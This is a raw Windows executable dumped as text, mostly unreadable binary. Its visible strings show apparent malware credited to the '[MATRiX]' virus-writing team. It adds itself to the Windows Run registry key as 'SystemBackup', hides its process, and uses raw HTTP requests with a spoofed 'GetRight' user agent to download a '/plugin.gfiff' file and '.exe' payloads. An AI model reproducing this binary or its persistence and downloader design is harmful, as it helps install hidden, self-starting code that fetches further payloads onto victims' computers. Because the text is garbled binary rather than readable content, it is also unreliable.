MZP               @                                      	!L!This program must be run under Win32
$7                                                                                                                                        PE  L (          
   
                  @               
      @                                         0  J                                                                                                                  CODE           
                    DATA                             @  .idata      0                    @                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    @   =#@ u9j 1  h  h0"@ P  Q @   0"@  @   j #  5#@   h  h,!@   j   h  0"@ VP    m  
     Q  (   uN      j   h   *  h,!@ h    t  =l'  V!  #@  @         b  #@   ,!@  @  @   W      5#@   @t	Hu5  =3'  t=6'  z  #@ 8HTTPi  8 200Z    M        #@ 6  H    =#@     G?GULPt   5#@ O#  #@ P@#@ X@#@ #@ #@ 2  #@  #@ #@      Cont5#@ #@ I
   td5#@ Type   tO  

   t;f~MZu3#@ 5#@   #@ =#@  ^#@     #@ A@ I#@   #@       #@       5#@     #@     QF9tYj h   V5#@ u  @uU  =3'  t3Hj WV5#@ M  @u3  =3'  t3Hð\         8Gt.EXE2j    =#@ t#@    2#@     <Ar<zw<\th#@ h#@ j h?  j j j Ph    jPjj S5#@   ttá#@ @H  #@ #@    #@ Iv#@  #@ j   uc0"@ QV  V@^V#@ 0"@ ,!@   ,!@ V  t5#@ \u5#@ ^Y3Ã3`5#@   `j jj  #@ @0  5#@   tH@@ @ jh @ 5#@     v  =H'     =M'  uh'  <  5#@ w     `,!@ h  W  \~mtx@ .exe2@ a0`    URL=5#@ F9t	aÃ,!@ </uG `#@ ,!@ tOaN<"uO/plugin.gfiff2,!@ V$  F0"@    W  :uaa3`GET < uG HTTP/1.1f
fHostf: f< uOf
f" @ /   aj@h 0 Pj   Qh @  QP  Yh @   h @ PX  ujj `hH#@ k  h4#@ hH#@ j j h(gj j j h,!@ j   a`h,!@ 3  a#@ #@     @ 0@     j j jj j jj jh   h,!@    #@ @   H#@ PPP5#@    j 5#@ j jj 5#@    #@ tW5#@ j j j5#@ y   #@ t5#@    5#@    j j 5#@ 5#@    5#@ {   #@ PPP5#@    5#@ Q   3%1@ %1@ %1@ % 1@ %$1@ %(1@ %,1@ %01@ %41@ %81@ %<1@ %@1@ %D1@ %H1@ %L1@ %P1@ %T1@ %X1@ %\1@ %`1@ %d1@ %h1@ %l1@ %p1@ %t1@ %x1@ %1@ %1@ %1@ %1@ %1@ %1@ %1@ %1@ %1@ %1@ %1@ %1@ %1@ %1@                                                                                                                                                                                                                                                                              Software\[MATRiX] i.am /[MATRIX]/ User-Agent: GetRight/3.2
Accept: *.*, */*

 Software\Microsoft\Windows\CurrentVersion\Run SystemBackup KERNEL32 RegisterServiceProcess   P        Software provide by [MATRiX] team:
Ultras, Mort, Nbk, Tgr, Del_Armg0 
Greetz: 
Vecna 4 source codes and ideas,
                                                                                                                                                                                                                      d0          1  1  0          1  1  0          1  1  1          1  1                      1  2  2  *2  :2  H2  R2  `2  r2  ~2  2  2  2  2  2  2  2  
3  3  *3  <3  J3  R3  d3  t3  3      3  3  3  3  3  3  3  3  3      3  4  4      .4  <4      1  2  2  *2  :2  H2  R2  `2  r2  ~2  2  2  2  2  2  2  2  
3  3  *3  <3  J3  R3  d3  t3  3      3  3  3  3  3  3  3  3  3      3  4  4      .4  <4      KERNEL32.dll WSOCK32.dll ADVAPI32.dll USER32.dll    GetProcAddress    lstrcmpi    CreateFileMappingA    MapViewOfFile   CreateFileA   lstrlen   DeleteFileA   GetStartupInfoA   CopyFileA   GetFileSize   GetFileTime   GetModuleFileNameA    GetModuleHandleA    CloseHandle   SetEndOfFile    GetWindowsDirectoryA    GetTickCount    CreateProcessA    ExitProcess   SetFilePointer    SetFileTime   Sleep   UnmapViewOfFile   VirtualAlloc    VirtualFree   lstrcat   WSAGetLastError   WSACleanup    socket    send    recv    gethostbyname   connect   closesocket   WSAStartup    RegSetValueExA    RegCloseKey   RegCreateKeyExA   MessageBoxA   EnumWindows                                                                                                                                                                                                                                                                                                                                                                                                                                                       